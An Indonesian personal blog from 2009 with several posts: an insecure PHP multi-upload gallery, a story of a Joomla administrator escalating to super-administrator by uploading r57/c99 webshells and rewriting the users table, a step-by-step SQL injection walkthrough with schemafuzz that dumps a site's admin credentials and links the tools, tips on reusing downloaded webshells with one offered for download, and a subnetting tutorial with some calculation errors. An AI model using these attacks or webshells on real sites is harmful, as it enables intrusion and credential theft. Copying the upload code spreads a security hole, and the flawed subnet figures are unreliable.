Pencarian

Jumat, 20 Maret 2009

Membuat Galeri Gambar dan Multi Upload File

Sebenarnya ketika membuat artikel ini saya lagi belajar OOP.
jadi saya membuatnya masih campur aduk (class nya masih berantakan).
pada galeri sederhana ini memakai cara multi upload( upload file lebih dari satu).
Screenshot nya seperti ini:

Saya membuat galeri ini dengan memanfaatkan fungsi readdir pada PHP, mungkin kurang disarankan masalahnya terasa lumayan berat setiap kali saya view galeri nya.

Sedangkan untuk multi Upload file saya menggunakan coding seperti ini:

for($i=0;$i <= count($file);$i++)
{
if($type_file[$i] == "image/jpeg" || $type_file[$i] == "image/png" || $type_file[$i] == "image/gif")
{
$path1= "imagesgalery/".$file[$i];
$upload = copy($tmp_file[$i], $path1);
}
}

dan untuk script inputnya seperti ini:

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Galeri</title>
<link rel="stylesheet" type="text/css" href="css/main.css" />
<script language="JavaScript">
function _add_more() {
var txt = "<br><input type=\"file\" name=\"file[]\">";
document.getElementById("dvFile").innerHTML += txt;
}
</script>
</head>
<body>
<form action="index.php?id=uploadNow" method="post" enctype="multipart/form-data" name="form1" id="form1">
<tr class="txt">
<td valign="top">
<div id="dvFile">
<input type="file" name="file[]">
</div>
</td>
<td valign="top">
<a href="javascript:_add_more();" title="Add more">
Add lagi
</a>
</td>
</tr>
<br><br><input type=submit name=Submit value=Upload />
</form>
</body>
</html>

Silahkan ambil file lengkap nya disini.

Kamis, 19 Maret 2009

Administrator to Super Administrator pada Joomla

Administrator to Super Administrator pada Joomla

Bingung kan dengan judul artikel di atas...!!! hee...he...
Maksudnya jika anda seorang Super Administrator pada website yang dibangun dengan joomla dan tidak memperhatikan dengan baik hak akses seorang administrator maka jangan terkejeut bila suatu saat anda tidak bisa login atau account anda di hapus di website tersebut oleh si administrator. koq bisa, padahal administrator kan dibawah saya ?
untuk lebih jelas kita akan sedikit membahas tentang tingkatan user pada joomla, Privileged.

1. Super Administrator : ini adalah tingkatan tertinggi pada joomla dimana dengan menjadi Super Administrator kita bisa mengatur user lain seperti Administrator, Manager dan user-user lainnya.

2. Administrator: yang membawahi manager, auditor, publisher dsb.

tentun saja tingkatan user pada joomla tidak selamanya seperti diatas (tapi setau saya memang seperti itu), karena kita bisa mengaturnya sendiri sesuai kemauan kita.

Koq Administrator mau menjadi Super Administrator ?
tentu saja, karena menurut saya tidak ada orang yang mau dibatasi hak aksesnya/ Privileged, karena Limited ini membosaaaannnkan.

Misalnya: anda membuat website menggunakan joomla untuk Perusahaan tertentu, lalu untuk maksud dan tujuan tertentu (entah baik atau buruk), anda hanya memberikan kepada klien anda tadi username dan password sebagai Administrator bukan Super Administrator,
dengan alasan ada beberapa menu yang nggak boleh di akses oleh si Klien tersebut.
anda membatasi bahwa Menu Setting Server (Global Configuration) nggak bisa di akses oleh si klien dengan tujuan ketika anda lagi bokek alias buntu alias nggak ada duit dan untuk beli rokok aja susah banget, anda mengubah setting Global Configuration misalnya pada SEO Setting,
jadi website tersebut tidak akan bisa di akses selama file .htaccess nya tidak di ubah atau
mengembalikan SEO Settings nya kembali seperti semula, lalu anda berharap klien anda tadi akan menghubungi anda atas permasalahan pada website tersebut, dan dapet duit dah untuk jajan, dan lagi, untuk memuluskan tujuan tersebut anda juga tidak memberikan username dan password tempat hosting website tersebut pada waktu proses serah terima websitenya.

Contoh seperti diatas mungkin saja terjadi (udah sering malah) tapi ini tidak akan terjadi jika Administrator di klien anda tersebut nggak gaol.
Bagaimana jika si Administrator website tersebut bukan manusia biasa (hantu, sunder bolong dlsb), eh maksud saya administrator nya mengerti sedikit tentang dunia underground..???

dan di Karenakan pada waktu proses pembuatan web tersebut mau cepet dan lumayan asal-asalan maka anda tidak mengatur tentang hak akses si Administrator.

lalu dengan sedikit pemahaman tentang hacking dan blaa..blaa... si administrator mulai mencari-cari cara untuk memasukkan Shell Script PHP ke dalam website tersebut.
dan terpikirlah si Administrator tadi, untuk meng Install Component yang bisa mengizinkan Administrator untuk mengUpload file tertentu ke web tersebut.

Selanjutnya si administrator segera meluncur ke http://extensions.joomla.org/extensions,
setelah mencari dengan penuh keseriusan akhirnya ketemu juga Component seperti Jdoc atau Simple Uploader dll.

lalu tinggal mengInstall Component tersebut dan mengUpload Script Shell seperti r57, c99, c100 dan Shell sejenis lainnya yang keren-keren abiz.

Setelah shell tersebut masuk, si Administrator tinggal mengAkses shell tersebut layaknya Backdoor, dan Jreenggg...jrenggg... si administrator tadi udah nyampe di root website nya.

Apa yang bisa dilakukan si administrator melalui Shell Script yang di uploadnya tadi ?
Buannyaaaakkk banget...
antara lain:

1. Membuka file configuration.php, lalu di file tersebut bisa dilihat username, password serta nama database yang digunakan.
2. Setelah mendapatkan user,password dan nama database, biasa nya di Shell Script terdapat fasilitas untuk menjalankan Query Sql.
3. lalu mengubah status Administrator menjadi Super Administrator atau mengubah password anda dengan perintah misalnya seperti ini: update jos_users set password='password baru' where id='62'.

Untuk mendapatkan password baru, si Administrator tinggal membuat user baru di joomla localnya dan liat hasil Encrypt di database, copy dan paste pada Query tadi.
atau bisa juga si administrator dengan penuh kreatifitas mencari tools yang berserakan di internet untuk decrypt password joomla pada account anda.

dan yang lebih parah nya, dengan penuh rasa kesal bercampur sedikit kebanggaan di hapus nya account Super Administrator anda dari database tersebut misalnya dengan perintah delete from jos_users where id='62'
dan yang terakhir di backupnya semua tabel di database tersebut untuk jaga-jaga.

Mungkin anda berpikir, "saya kan bisa masuk melalui Cpanel/Spanel lalu saya ubah lagi account tersebut. "
tapi bagaimana jika si Administrator tadi melapor pada atasannya misalnya pada Kepala Bagian IT nya seperti ini.

" Pak, akhirnya saya tau mengapa selama berberapa hari ini website kita tidak bisa di akses,
hal ini dikarenakan ada yang mengubah setting ini dan itu pada halaman Back End web kita.
dan menurut saya lagi, selain di hack, yang bisa mengubah setting tersebut hanya orang yang punya hak akses "Super Administrator", dan ternyata account/hak akses yang kita miliki pada website ini hanya Administrator.
jadi menurut saya, kita putuskan saja hubungan kita dengan si bedol pembuat website ini, dengan alasan, tidak profesional karena pada kontrak kita seharusnya kita mendapatkan fasilitas yang full dan dia tidak memberikan kita akses Super Administrator dan username/password pada web hosting, padahal seharusnya itu sudah menjadi hak kita sebagai klien.
saya sudah memback up data dari website kita, dan sebaiknya kita pindah tempat hosting saja pak, dan mencari Web Development yang lebih professional."

dengan sedikit bingung akhirnya si kepala IT tadi mempertimbangkan usulan tersebut, dan dalam berberapa hari usulan tersebut disetujui.

lalu apa yang anda dapatkan sang Super Administrator:
1. Anda akan terus menunggu dan menunggu klien tadi menghubugi anda, menanti sebuah pertanyaan hee...
2. Nama anda sebagai Web Development udah nggak bagus.
dan masih buanyaaak lagi keuntungan eh kerugian yang anda dapatkan dari yang anda lakukan pada website tersebut....

Mending selurusan aja dahh....
PHP Shell atau Script Shell adalah sebuah Script yang dibuat dengan bahasa PHP, dimana di Shell ini terdapat Fasilitas untuk memasukkan perintah-perintah unix/linux, selain itu terdapat juga fasilitas untuk perintah Query, edit file dll...

SQL Ijnection dengan Schemafuzz

Schemafuzz merupakan salah satu script yang dibuat dengan bahasa python, script ini memudahkan kita untuk mengeksplorasi bug sql injection yang terdapat pada suatu webiste.

Untuk bisa menggunakan schemafuzz.py di windows, download program python terlebih dahulu.
http://www.python.org/ftp/python/2.6.2/python-2.6.2.msi dan install (Windows only).
lalu untuk memudahkan, Copy file schemafuzz.py di c:\python26

buka command line dan masuk ke direktori c:\python26

misalnya target sql injectionya di alamat http://www.xxx.com/index.php?id=9
ketikkan perintah berikut:
c:\>python26\python.exe schemafuzz.py --findcol -u http://www.xxx.com/index.php?id=9


Setelah proses scanning selesai dan kamu menjumpai tulisan seperti ini pada command line:
[+] SQLi URL: http://www.xxx.com/index.php?id=9+AND+1=2+UNION+SELECT+0,1,2,3--
[+] darkc0de URL: http://www.xxx.com/index.php?id=9+AND+1=2+UNION+SELECT+darkc0de,1,2,3
[-] Done!


berarti proses pencarian bug udah selesai, buka schemafuzzlog.txt yang terdapat di direktory yang sama dengan file schemafuzz.py yaitu c:\python26\schemafuzzlog.txt
Setiap kita melakukan aktifitas scanning, melihat table ataupun dump, maka hasilnya akan tercatat di file schemafuzzlog.txt

copy darkc0de url karena alamat ini yang akan dipakai untuk proses selanjutnya.

lanjut ke tahap berikutnya, yaitu melihat versi mysql gunakan perintah:
c:\>python26\python.exe schemafuzz.py --info -u darkc0de url
maka akan jadi seperti ini:
c:\>python26\python.exe schemafuzz.py --info -u http://www.xxx.com/index.php?id=9+AND+1=2+UNION+SELECT+darkc0de,1,2,3


[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: chipo
User: chipo@localhost
Version: 5.1.30-community


ternyata pake mysql versi 5.1 dan nama database nya chipo.
kamu bisa mengganti --info dengan --dbs untuk melihat database lain yang digunakan.
lanjut ke tahap selanjutnya adalah mengetahui struktur tabel. gunakan perintah

c:\>python26\python.exe schemafuzz.py -D chipo --schema -u http://www.xxx.com/index.php?id=9+AND+1=2+UNION+SELECT+darkc0de,1,2,3


[Database]: chipo
[table: Columns]
[0]barang: barangID,kategoriID,barang,harga,spesifikasi,image
[1]kategori: kategoriID,kategori
[2]pembeli: idpembeli,nama,alamat,email,telepon,pesan,total,barangID,barang,tanggal
[3]sementara: pembeli,id,barang,spesifikasi,harga
[4]user: userID,user,password


Yupz, terdapat tabel bernama user dengan nama kolom userID, user dan password
Untuk melihat isi dari tabel user, gunakan perintah

c:\>python26\python.exe schemafuzz.py --dump -D chipo -T user -C userID,user,password -u http://www.xxx.com/index.php?id=9+AND+1=2+UNION+SELECT+darkc0de,1,2,3


Gathering MySQL Server Configuration...
Database: chipo
User: chipo@localhost
Version: 5.1.30-community
[+] Dumping data from database "chipo" Table "user"
[+] Column(s) ['userID', 'user', 'password']
[+] Number of Rows: 1

[0] 1:admin:chipo:chipo:

[-] [23:30:23]
[-] Total URL Requests 3
[-] Done

dan upss, ternyata admin nya sedikit ceroboh karena tidak ada enkripsi pada password,
bila kamu melihat sederatan karakter seperti 21232f297a57a5a743894a0e4a801fc3 berarti passwordnya sudah di enkripsi dengan md5, jangan berkecil hati, silahkan kamu cari web-web yang menyediakan dekripsi md5 seperti di http://md5decryption.com/ lanjut, kamu telah mendapatkan username dengan nama admin dan password chipo

Lalu, dimana halaman loginnya ?
untuk melihat struktur direktori suatu web, kamu bisa menggunakan tools-tools lain yang berserakan di jagad maya ini seperti acunetix dll...
kalo udah ketemu login nya, silahkan login dengan user dan password tadi.
kalo udah masuk halaman admin, terserah kamu..

kamu juga bisa menggunakan perintah lain dgn schemafuzz, lihat aja help nya
c:\>python26\python.exe schemafuzz.py -h
Donlod
http://www.ziddu.com/download/4566844/schemafuzz.rar.html
Downnload (New Version)
http://www.ziddu.com/download/4566838/darkMySQLi.rar.html

Selasa, 17 Maret 2009

Tentang PHP Shell Injection dan Hacked got Hacked

Buat yang hobi ngeRoot Website menggunakan PHP Shell Injection saya saranin untuk berhati-hati jika menggunakan shell baik Shell produksi lokal ato dari luar masalahnya bisa Hacked got Hacked.

Setelah saya buka koding shell sejenis c99 atau r57 dlsb ternyata ada beberapa perintah dalam shell script yang intinya mengirim email kepada si pembuat atau yang modifikasi Shell tersebut.
Email yang dikirim berupa alamat shell *Path shell serta password +session.
kalo nggak percaya, ini screenshoot nya:
shell
Email tersebut akan terus terkirim setiap kali kamu mengakses shell.

Jadi jangan heran ketika suatu waktu kamu akses lagi shell simpanan kamu ternyata sudah nggak bisa
Alamat Email dalam shell biasanya di Encode menggunakan base64 jadi agak susah nyarinya.
saya udah buat satu Script buat encode dan decode base64 waktu saya melihat-lihat isi shell.

Cara saya bersihin shell seperti ini ( mudah-mudahan shell nya sudah bersih..)
1. Buka Shell Script dengan notepad++ atau editor lain.
2. Cari perintah header karena perintah ini biasa dipakai untuk mengirim email, lihat apa saja variabel yang dikirim menggunakan header dan telusuri variabel tersebut.
3. atau bisa juga langsung cari "base64_decode" tanpa kutip.
4. Setelah itu coba kamu decode menggunakan base64_decode lalu ganti alamat email atau alamat apapun hasil decode tadi.

Saya punya contoh shell yang udah di edit2 :D :D :D.
Silahkan donlod disini.
http://www.ziddu.com/download/4693787/MyNix.rar.html
ada juga Script sederhana untuk base64_encode/decode
http://www.ziddu.com/download/4693812/base.rar.html
Semoga bermanfaat :D..

Minggu, 15 Maret 2009

Belajar Dasar-dasar IP address

Dasar-dasar IP address

Setelah sekian lama, akhirnya terluangkan juga waktu untuk belajar dasar jaringan komputer. Selama ini saya terbiasa dengan praktek langsung dan sekaranglah tiba saatnya belajar teori.

Sebenarnya yang ingin saya pelajari pada tulisan ini adalan tentang subnetting tapi ada baiknya kita meriview tentang kelas dalam IP address.
IP address yang dipakai dalam tulisan ini adalah IPv4.

Apa sih IP address ?
IP address (Internet Protocol) adalah alamat logika yang diberikan kepada perangkat jaringan yang menggunakan protocol TCP/IP, dimana protocol TCP/IP digunakan untuk meneruskan packet informasi (routing) dalam jaringan LAN, WAN dan internet.
atau lebih singkatnya IP address adalah cara pengalamatan suatu komputer yang terdapat didalam jaringan komputer.

Saat ini ada 2 macam versi IP address yaitu

  • IP versi 4 (IPv4)
IPv4 ini menggunakan penomeran 32-Bit dan terdiri dari 4 oktet decimal dan dibuat pada tahun 1983 dan masih terus digunakan sampai dengan saat ini.
contoh dari IPv4 : 202.134.64.139
  • IP versi 6 (IPv6)
IPv6 ini menggunakan penomeran 128-Bit, Dalam IPv6, alamat 128-bit akan dibagi ke dalam 8 blok berukuran 16-bit, yang dapat dikonversikan ke dalam bilangan heksadesimal berukuran 4-digit. Setiap blok bilangan heksadesimal tersebut akan dipisahkan dengan tanda titik dua (:).
misalnya : 21DA:00D3:0000:2F3B:02AA:00FF:FE28:9C5A
untuk lebih lanjut tentang IPv6 ini bisa dilihat disini

jadi, agar 2 komputer atau lebih bisa terhubung didalam jaringan dibutuhkan lah alamat agar antara komputer dapat saling mengetahui alamat komputer lainnya dan pengalamatan pada komputer ini lah yang disebut dengan IP address.

IP address terdiri dari 2 bagian yaitu
1. Network ID (alamat jaringan).
2. Host ID (alamat Host/komputer).

Untuk lebih mudah dipahami, kita praktekkin aja langsung dengan packet tracer:

o ya sebelumnya kamu harus mengetahui dahulu apa itu Oktet.
Alamat IPv4 terdiri dari 4 oktet.
oktet adalah blok angka yang terdapat pada alamat IP
misalnya alamat IP 192.168.1.5
oktet pertama 192
oktet kedua 168
oktet ketiga 1
oktet keempat 5
nah, pada setiap oktet tersebut dipisahkan dengan tanda titik (.)

Ada aturan yang digunakan dalam IP address (pengalamatan jaringan) yaitu kelas-kelas IP :

Kelas A
memiliki Range alamat 1-127
Subnetmask default nya : 255.0.0.0

Contoh IP address kelas A misalnya:
IP addressnya 120.10.10.1
berarti Subnetmask defaultnya : 255.0.0.0
Network ID nya : 120.0.0.0
Broadcast addressnya : 120.255.255.255

Penjelasan:
Range alamat maksud nya :
setiap kali kamu melihat IP pada suatu komputer dan pada oktet pertama nya masuk dalam range antara 1-127, berarti IP tersebut adalah kelas A, pada contoh diatas oktet pertama nya 120.

Oktet pertama pada kelas A ini disebut juga dengan Network ID (alamat jaringan) dan 3 oktet sesudahnya disebut Host ID (alamat Komputer) dalam suatu Network ID.
artinya pada Kelas A, agar komputer dapat saling berkomunikasi dalam suatu jaringan,
Network id nya tidak boleh berbeda dan Host ID nya tidak boleh sama.

bingungkan...?? coba aja langsung di packet tracer,

Misalnya ada 2 komputer yang ingin dihubungkan menggunakan IP kelas A, maka berikan alamat IP berikut:

komputer 1
alamat IP nya 10.2.2.5
subnetmask nya 255.0.0.0

komputer 2
alamat IP nya 10.2.2.6
subnetmask nya 255.0.0.0

setelah berdo'a, coba kamu kirimkan paket data (bisa berupa ping dll) dari komputer 1 ke komputer 2 atau sebaliknya.
maka pengiriman data akan berhasil.

tapi jika kamu berikan komputer 2 alamat IP berikut:
alamat IP nya 11.2.2.6
subnetmask nya 255.0.0.0
maka pengiriman data akan gagal.

koq bisa...???
ya iyalah, komputer 1 dan komputer 2 mempunyai Network ID yang berbeda (alamat jaringan yang berbeda).

komputer 1 memiliki Network ID : 10.0.0.0
sedangkan komputer 2 memiliki Network ID : 11.0.0.0

jadi, pada kelas A, setelah oktet pertama (Network ID) yaitu 10 kamu bebas mengisikan alamat untuk host nya dengan limit 255, dan ingattt... untuk alamat Host ini tidak boleh sama.

udah bisa kan menyimpulkan sendiri tentang Network ID pada kelas A ???
oktet pertama pada kelas A digunakan sebagai Network ID.
atau kebalikannya, Network ID pada kelas A, menggunakan oktet pertama dan dilanjutkan dengan 0 (nol) pada 3 oktet selanjutnya.
sedangkan untuk Oktet setelahnya kamu bisa mengisikan alamat untuk Host nya.
makanya dalam artikel lain untuk pengkelasan IP sering jumpai seperti ini:
nnn.hhh.hhh.hhh
n : adalah Network ID (alamat jaringan)
h : adalah Host ID (alamat untuk host/komputer)

jadi, jika kamu memakai IP kelas A, berarti kamu bisa memiliki banyak sekali alamat host (alamat komputer).

Broadcast address : Broadcast address ini berfungsi untuk pengiriman pesan dalam jaringan, bisa berupa apapun kepada semua komputer yang terdapat dalam suatu jaringan.
untuk mencari Broadcast address sangatlah mudah,

misalnya : IP 11.2.2.6
subnetmask : 255.0.0.0
Network ID nya : 11.0.0.0
broadcast addressnya adalah 11.255.255.255
berarti setelah oktet pertama (Network ID) terdapat 255 pada oktet selanjutnya,
dan inilah yang dijadikan broadcast address dalam jaringan tersebut, pokoknya setelah Network ID pada oktet selanjutnya 255 semua maka itulah yang dijadikan Broadcast
Broadcast address ini tidak boleh dijadikan alamat IP pada suatu komputer.

Untuk mencari Network ID dan Broadcast address pada kelas lain, kamu bisa menggunakan cara yang sama,
perbedaannya hanya terletak pada oktet yang dijadikan sebagai Network ID dan Host ID nya saja.


Kelas B
memiliki Range alamat 128-191
Subnetmask default 255.255.0.0

misalnya: alamat IP 191.168.2.1
Udah bisa nebak kan kalo alamat IP diatas menggunakan kelas B karena 191 termasuk dalam range 128-191.
2 oktet pertama pada kelas B adalah sebagi Network ID dan 2 oktet setelahnya sebagai Host ID
jadi Network ID nya : 191.168.0.0
dan Broadcast ID nya : 191.168.255.255

jadi untuk menggunakan kelas B dalam suatu jaringan maka 2 oktet pertamanya tidak boleh berbeda dan dua oktet selanjutnya (Host ID) boleh di isi berapa saja dengan limit 255 dan tidak boleh sama tentunya.

misalnya:
komputer 1
alamat IP nya 191.161.2.1
subnetmask nya 255.255.0.0

komputer 2
alamat IP nya 191.161.3.1
subnetmask nya 255.255.0.0
setelah oktet 191.161 kamu bebas mengisikan alamat untuk host nya (asal jangan melebihi standar aja hee...).

Kelas C
memiliki Range alamat 192-223
Subnetmask defaultnya 255.255.255.0
misalnya: 192.168.5.2
3 oktet pertama pada kelas C adalah sebagi Network ID dan oktet terakhir sebagai Host ID
jadi Network ID nya : 192.168.5.0
dan Broadcast ID nya : 192.168.5.255

jadi, untuk menggunakan kelas C dalam suatu jaringan maka 3 oktet pertamanya tidak boleh berbeda.
misalnya:

komputer 1
alamat IP nya 192.168.5.1
subnetmask nya 255.255.255.0

komputer 2
alamat IP nya 192.168.5.2
subnetmask nya 255.255.255.0
setelah oktet 192.168.5 kamu bebas mengisikan alamat pada oktet terakhir untuk host nya dengan limit terakhir 255 dan tentunya untuk host ID ini tida boleh sama
alamat yang dijadikanBroadcast 192.168.5.255

Bingung kan ???? kalo nggak bingung malah saya yang jadi bingung he...

sebetulnya masih ada 2 kelas lagi dalam IP yaitu:
Kelas D dengan Range alamat 224-239
Kelas E dengan Range alamat 240-255
tapi yang umum digunakan adalah kelas A,B,C


Apa sih SUBNETTING ?
Subnetting menurut saya adalah suatu konsep/cara untuk membagi suatu jaringan komputer yang besar menjadi blok-blok jaringan yang lebih kecil untuk mempermudah dalam pengelolaannya dan disesuaikan kebutuhannya.

trus kalo SubnetMask ???
Subnetmask digunakan untuk membaca bagaimana kita membagi jaringan dan host (Network ID dan Host ID).
Jadi subnetmask ini digunakan untuk membedakan antara host id dan network id.
Network ID adalah alamat jaringan, sedangkan Host ID adalah komputer yang terdapat didalam
suatu alamat jaringan tersebut dan subnetmask lah yang mendefinisikan kedua nya.

lanjut...
misalnya dalam suatu kantor terdapat beberapa bagian :
1. bagian keuangan (memiliki 2 komputer yang harus saling terhubung).
2. bagian bagian administrasi (memiliki 2 komputer yang juga harus saling terhubung).
kedua bagian ini tidak boleh terhubung didalam jaringan komputer di kantor tersebut (kebetulan tu kantor cuma punya 1 switch).

Tentu nya, kita bisa dengan mudah memberikan alamat IP dengan kelas C dan cukup
membedakan network ID nya di setiap bagian.
misalnya,
1. Bagian keuangan
komputer 1 memiliki IP address 192.168.1.5 subnetmask 255.255.255.0
komputer 2 memiliki IP address 192.168.1.6 subnetmask 255.255.255.0

2. Bagian administrasi :
komputer 3 memiliki IP address 192.168.2.5 subnetmask 255.255.255.0
komputer 4 memiliki IP address 192.168.2.6 subnetmask 255.255.255.0

Kedua bagian ini tidak akan bisa berkomunikasi didalam jaringan kantor tersebut namun, komputer dalam setiap bagian dapat berkomunikasi.
misalnya :

komputer 1 dan 2 didalam bagian keuangan dapat berkomunikasi
dan komputer 3 dan 4 di bagian administrasi dapat berkomunikasi
tapi komputer 1 di bagian keuangan tidak dapat berkomunikasi dengan komputer 3 di bagian administrasi,
hal ini disebabkan berbedanya Network ID pada komputer tersebut.

karena Network ID pada bagian keuangan adalah 192.168.1.0
sedangkan Network ID pada bagian administrasi adalah 192.168.2.0

Pembagian alamat seperti diatas cukup memboroskan IP yang semakin lama semakin banyak keperluannya, apalagi jika digunakan dalam jaringan yang besar, maka dari itu dikembangkan lah yang namanaya CIDR.
CIDR Classless inter domain routing atau SuperNetting, dimana CIDR ini menggunakan notasi prefix dalam penghitungan alamat IP nya.

Dengan metode CIDR ini, kita bisa melakukan perhitungan IP address sesukanya tanpa memperdulikan kelas dari IP tersebut.

bingung lagi kan ....? hee...
coba praktekkan melalui packet tracer lagi dengan alamat IP sebagai berikut :

1. Bagian keuangan
komputer 1 memiliki IP address 192.168.1.65 subnetmask 255.255.255.192
komputer 2 memiliki IP address 192.168.1.66 subnetmask 255.255.255.192

2. Bagian keuangan
komputer 3 memiliki IP address 192.168.1.129 subnetmask 255.255.255.192
komputer 4 memiliki IP address 192.168.1.130 subnetmask 255.255.255.192

pada percobaan diatas, pengirman paket data pada bagian keuangan dari komputer 1 ke komputer 2 akan berhasil begitu juga pengiriman data dalam bagian keuangan.
namun pengiriman paket data dari bagian keuangan ke bagian administrasi misalnya komputer 1 ke komputer 3 akan menghasilkan time out atau paket data gagal dikirim.

koq bisa ???? padahal kan IP nya menggunakan kelas C, 3 oktet pertama nya sama !!!!

Nah, coba lihat subnetmasknya, seharusnya subnetmask kelas C (subnetmask default) 255.255.255.0
tapi pada contoh diatas menggunakan subnet mask 255.255.255.192 dan inilah yang membuat gagalnya pengiriman data dari komputer 1 ke komputer 3.

Teknik pembagian alamat IP seperti inilah yang dinamakan metode CIDR atau supernetting atau classless inter domain routing.

Metode CIDR biasanya menggunakan notasi prefix dengan panjang tertentu dalam penulisan alamat IP dan Networknya.
misalnya seperti ini, alamat IP sering juga dituliskan seperti ini:
192.168.1.5/26
angka 26 disebut juga notasi prefix artinya jumlah angka 1 yang terdapat pada subnetmasknya jika di konversi ke biner.
maka apabila kita konversi menjadi biner maka notasi 26 akan menghasilkan seperti ini:
11111111-11111111-11111111-11000000
atau
255.255.255.192

lho dari mana dapetnya 255.255.255.192 ???
(kalo nggak salah) itu ada cara ngitungnya, dengan cara AND kan alamat IP dan subnetmask yang udah di binerkan,
tapi untuk memudahkan kita bisa langsung melihat petunjuk berikut:

Subnet Mask Nilai CIDR
255.128.0.0 /9
255.192.0.0 /10
255.224.0.0 /11
255.240.0.0 /12
255.248.0.0 /13
255.252.0.0 /14
255.254.0.0 /15
255.255.0.0 /16
255.255.128.0 /17
255.255.192.0 /18
255.255.224.0 /19
Subnet Mask Nilai CIDR
255.255.240.0 /20
255.255.248.0 /21
255.255.252.0 /22
255.255.254.0 /23
255.255.255.0 /24
255.255.255.128 /25
255.255.255.192 /26
255.255.255.224 /27
255.255.255.240 /28
255.255.255.248 /29
255.255.255.252 /30

Dari mana tabel tersebut asalnya ...???
udah dari sono nya, saya ngambilnya dari website nya pak Romi, silahkan liat disini.

Saya simpulkan sedikit ya... Dengan metode CIDR ini, kita bisa membagi jaringan sesuai dengan kebutuhan kita tanpa harus memperhatikan kelas dari IP tersebut. jadi biarpun sama-sama IP kelas C, B atau A, dengan metode perhitungan CIDR maka komputer-komputer didalam suatu jaringan bisa di pisah-pisahkan berdasarkan kebutuhan.

Untuk menghitungnya sebagai berikut:

Pada kelas C

menurut pak romi, pertanyaan pada subnetting akan terpusat pada 4 hal, yaitu:
1. Jumlah subnet
2. Jumlah host per subnet
3. Blok subnet
4. Alamat host dan broadcast yang valid

misalnya terdapat Netwrok address 192.168.1.0/26, trus subnetting seperti apa yang akan terjadi ???

Artinya IP tersebut kelas C dan subnetmask /26 adlah 11111111.11111111.11111111.11000000 (255.255.255.192), bisa dilihat dari tabel diatas.

nah, untuk menyelesaikannya kita hitung seperti berikut:
  1. Jumlah Subnet = 2x, dimana x adalah banyaknya binari 1 pada oktet terakhir subnet mask (2 oktet terakhir untuk kelas B, dan 3 oktet terakhir untuk kelas A). Jadi Jumlah Subnet adalah 22 = 4 subnet
  2. Jumlah Host per Subnet = 2y - 2, dimana y adalah adalah kebalikan dari x yaitu banyaknya binari 0 pada oktet terakhir subnet. Jadi jumlah host per subnet adalah 26 - 2 = 62 host
  3. Blok Subnet = 256 - 192 (nilai oktet terakhir subnet mask) = 64. Subnet berikutnya adalah 64 + 64 = 128, dan 128+64=192. Jadi subnet lengkapnya adalah 0, 64, 128, 192.
  4. Bagaimana dengan alamat host dan broadcast yang valid? Kita langsung buat tabelnya. Sebagai catatan, host pertama adalah 1 angka setelah subnet, dan broadcast adalah 1 angka sebelum subnet berikutnya.
    Subnet
    192.168.1.0
    192.168.1.64
    192.168.1.128
    192.168.1.192
    Host Pertama
    192.168.1.1
    192.168.1.65
    192.168.1.129
    192.168.1.193
    Host Terakhir
    192.168.1.62
    192.168.1.126
    192.168.1.190
    192.168.1.254
    Broadcast
    192.168.1.63
    192.168.1.127
    192.168.1.191
    192.168.1.255

    Sowrry tabel nya agak terpotong sedikit, ne saya jelaskan lagi:

    Blok 1
    subnetnya : 192.168.1.0
    Hots pertama : 192.168.1.1
    Host Terakhir : 192.168.1.62
    Broadcast : 192.168.1.63

    Blok 2
    subnetnya : 192.168.1.64
    Hots pertama : 192.168.1.65
    Host Terakhir : 192.168.1.126
    Broadcast : 192.168.1.127

    Blok 3
    subnetnya : 192.168.1.128
    Hots pertama : 192.168.1.129
    Host Terakhir : 192.168.1.192
    Broadcast : 192.168.1.191

    Blok 4
    subnetnya : 192.168.1.192
    Hots pertama : 192.168.1.193
    Host Terakhir : 192.168.1.254
    Broadcast : 192.168.1.255


    Penjelasan:
    Jumlah Subnet artinya jumlah network ID atau jumlah jaringan yang dapat dibagi. pada contoh diatas, kita bisa membagi menjadi 4 jaringan, artinya lagi, ke 4 jaringan tersebut akan memiliki network id yang berbeda yang menyebabkan ke 4 jaringan tersebut tidak bisa berkomunikasi satu sama lain.

    Jumlah Host per subnet artinya Jumlah komputer yang dapat dihubungkan per subnet/per jaringan. karena jumlah subnet diatas ada 4, berarti setiap subnet memiliki Host/komputer sebanyak 62 setelah dikurangi dengan Network ID dan Broadcast.

    Blok / Blok Subnet artinya range per subnet. pada contoh diatas ada 4 blok jaringan dengan range 0, 64 , 128, 192. artinya lagi pada subnet/jaringan 1,2,3 dan 4 akan dibagi berdasarkan blok subnet tersebut.

    silahkan dilihat lagi tabelnya.
    pada kelas B dan A, perhitungan subnetting dilakukan dengan cara yang sama namun perbedaannya hanya pada oktetnya.
    2 oktet terakhir untuk kelas B, dan 3 oktet terakhir untuk kelas A, seperti keterangan diatas.

    jadi, menurut perhitungan diatas kamu bisa membagi Jaringan kamu menjadi 4 bagian menggunakan kelas IP yang sama.
    untuk jaringan 1 misalnya pada bagian keuangan:

    komputer 1
    alamat IP nya: 192.168.1.1
    dan subnetmasknya: 255.255.255.192

    komputer 2
    alamat IP nya: 192.168.1.2
    dan subnetmasknya: 255.255.255.192

    dst sampai dengan
    komputer terakhir pada jaringan 1 bagian keuangan:

    komputer 62
    alamat IP nya: 192.168.1.62
    dan subnetmasknya: 255.255.255.192

    jaringan 2 pada bagian administrasi :

    komputer 64
    alamat IP nya: 192.168.1.64
    dan subnetmasknya: 255.255.255.192

    komputer 65
    alamat IP nya: 192.168.1.65
    dan subnetmasknya: 255.255.255.192

    dst sampai dengan komputer terakhir pada jaringan 2 bagian admninistrasi:
    komputer 126
    alamat IP nya: 192.168.1.126
    dan subnetmasknya: 255.255.255.192

    dan untuk 2 jaringan pada bagian lain kamu tinggal melihat tabel hasil perhitungan diatas.

    selamat belajar..

    beberapa penjelasan diatas adalah menurut pemahaman saya yang masih baru banget belajar jadi harap maklum...
    dan software Packet tracer yang saya gunakan adalah versi 5.0, kalo saya nggak salah, untuk Packet tracer versi 4 ke bawah belum bisa merubah default subnetmasknya melalui Interface (Kalo melalui Command line mungkin bisa yak).

    Pffuhhh...akhirnya ngerti juga saya.....
    Referensi http://romisatriawahono.net/2006/02/11/memahami-penghitungan-subnetting-dengan-mudah/
    Thanks artikelnya pak Romi, keren abiz dah ilustrasi nya...

Kamis, 12 Maret 2009

PHP HTML dan JavaScript ?

Waduuh...terasa banget dah bahwa saya masih sangat beginner (pemula) di php. dan inilah enaknya dari sharing, saya bisa tau apa yang selama ini saya kira nggak bisa.
